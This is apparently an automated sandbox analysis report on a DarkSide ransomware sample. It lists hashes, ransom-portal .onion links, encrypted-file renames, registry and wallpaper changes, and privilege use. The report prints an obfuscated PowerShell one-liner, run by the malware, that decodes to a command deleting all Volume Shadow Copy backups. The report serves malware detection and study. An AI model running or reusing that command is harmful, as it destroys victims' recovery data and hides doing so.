Analysis
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max time kernel
92s -
max time network
94s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
26-07-2021 12:57
Static task
static1
Behavioral task
behavioral1
Sample
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe
Resource
win10v20210408
General
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Target
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe
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Size
59KB
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MD5
c830512579b0e08f40bc1791fc10c582
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SHA1
2fc8514367d4799d90311b1b1f277b3fca5ca731
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SHA256
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975
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SHA512
b8e7dc2b26ff00c43dae3e5ceb2b241bc7211c52fba167f1dfd81b285461fd53668953ede798a5f4fd1c587ee9861c2ca0fd034a958428dd3d9f5177c61b5ca3
Malware Config
Extracted
C:\\README.341d6443.TXT
darkside
http://darksidedxcftmqa.onion/DWMRLAW/N9N6W7_4EpBFAgHXuDGQwpXTQSpdXdKqYN_rPUXHIsXGkuZCNNHvRC8amaoegEAh
http://darksidfqzcuhtk2.onion/WKWM6ZXNBVAFW62I1RTLLD4A82OO2O7NBOKLF05CRB4BD06IRBQ0MFA9ZFAKDZH2
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 18 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exedescription ioc process File renamed C:\Users\Admin\Pictures\EnableEnter.crw => C:\Users\Admin\Pictures\EnableEnter.crw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\EnableEnter.crw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\HideAdd.tif.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File renamed C:\Users\Admin\Pictures\MountSync.raw => C:\Users\Admin\Pictures\MountSync.raw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File renamed C:\Users\Admin\Pictures\ConvertFromReceive.crw => C:\Users\Admin\Pictures\ConvertFromReceive.crw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\MountSync.raw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File renamed C:\Users\Admin\Pictures\RestartSave.raw => C:\Users\Admin\Pictures\RestartSave.raw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\SaveUpdate.raw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File renamed C:\Users\Admin\Pictures\SuspendShow.png => C:\Users\Admin\Pictures\SuspendShow.png.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\ConvertFromReceive.crw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File renamed C:\Users\Admin\Pictures\PingMeasure.raw => C:\Users\Admin\Pictures\PingMeasure.raw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\PingMeasure.raw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\SuspendShow.png.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File renamed C:\Users\Admin\Pictures\HideAdd.tif => C:\Users\Admin\Pictures\HideAdd.tif.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\RestartSave.raw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File renamed C:\Users\Admin\Pictures\SaveUpdate.raw => C:\Users\Admin\Pictures\SaveUpdate.raw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File renamed C:\Users\Admin\Pictures\UseConvertTo.crw => C:\Users\Admin\Pictures\UseConvertTo.crw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\UseConvertTo.crw.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP" 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP" 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe -
Modifies Control Panel 1 IoCs
Processes:
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10" 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe -
Modifies registry class 5 IoCs
Processes:
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443" 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico" 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exe12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exepid process 1432 powershell.exe 1432 powershell.exe 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeSecurityPrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeTakeOwnershipPrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeLoadDriverPrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeSystemProfilePrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeSystemtimePrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeProfSingleProcessPrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeIncBasePriorityPrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeCreatePagefilePrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeBackupPrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeRestorePrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeShutdownPrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeDebugPrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeSystemEnvironmentPrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeRemoteShutdownPrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeUndockPrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeManageVolumePrivilege 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: 33 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: 34 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: 35 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeDebugPrivilege 1432 powershell.exe Token: SeBackupPrivilege 1608 vssvc.exe Token: SeRestorePrivilege 1608 vssvc.exe Token: SeAuditPrivilege 1608 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exedescription pid process target process PID 1088 wrote to memory of 1432 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe powershell.exe PID 1088 wrote to memory of 1432 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe powershell.exe PID 1088 wrote to memory of 1432 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe powershell.exe PID 1088 wrote to memory of 1432 1088 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe"C:\Users\Admin\AppData\Local\Temp\12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
8da038b57acf6ae803acdfede5478b3d
SHA16f01991481e77887d8307dab7424c2ac660234cb
SHA256823116582c01b5b7aa3ea1292d73ad73540da7f1a23842aad07981c3972cec36
SHA512a581208410a7f0b1d0591da89afe1603599c68caf81458c481bdc2936de67db17b12e33b9fe872109c4f6714431f1d9293ffe2680a24513c73c36414224dac57
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
05eb704e62a87cedb93ddd92a615c174
SHA1227bd51b2f1af14290418ae91c351239b7890e78
SHA2565e78befded0afe793773fc0ac864995848d7e5aea86b820f91fab12fd32c6b6e
SHA512e681220c1421709558c24e17b1da719a9a7703dabae9e518144e2f9b2b9051a7b0246082ab9c9bc5456c474259c4b9130d3563d0260af35128479e92570c6f76
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memory/1088-59-0x00000000753B1000-0x00000000753B3000-memory.dmpFilesize
8KB
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memory/1432-65-0x000000001AB00000-0x000000001AB02000-memory.dmpFilesize
8KB
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memory/1432-63-0x000000001AB80000-0x000000001AB81000-memory.dmpFilesize
4KB
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memory/1432-64-0x0000000002550000-0x0000000002551000-memory.dmpFilesize
4KB
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memory/1432-62-0x00000000022F0000-0x00000000022F1000-memory.dmpFilesize
4KB
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memory/1432-66-0x000000001AB04000-0x000000001AB06000-memory.dmpFilesize
8KB
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memory/1432-67-0x0000000002330000-0x0000000002331000-memory.dmpFilesize
4KB
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memory/1432-68-0x000000001C2B0000-0x000000001C2B1000-memory.dmpFilesize
4KB
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memory/1432-69-0x000000001C380000-0x000000001C381000-memory.dmpFilesize
4KB
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memory/1432-61-0x000007FEFBBF1000-0x000007FEFBBF3000-memory.dmpFilesize
8KB
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memory/1432-60-0x0000000000000000-mapping.dmp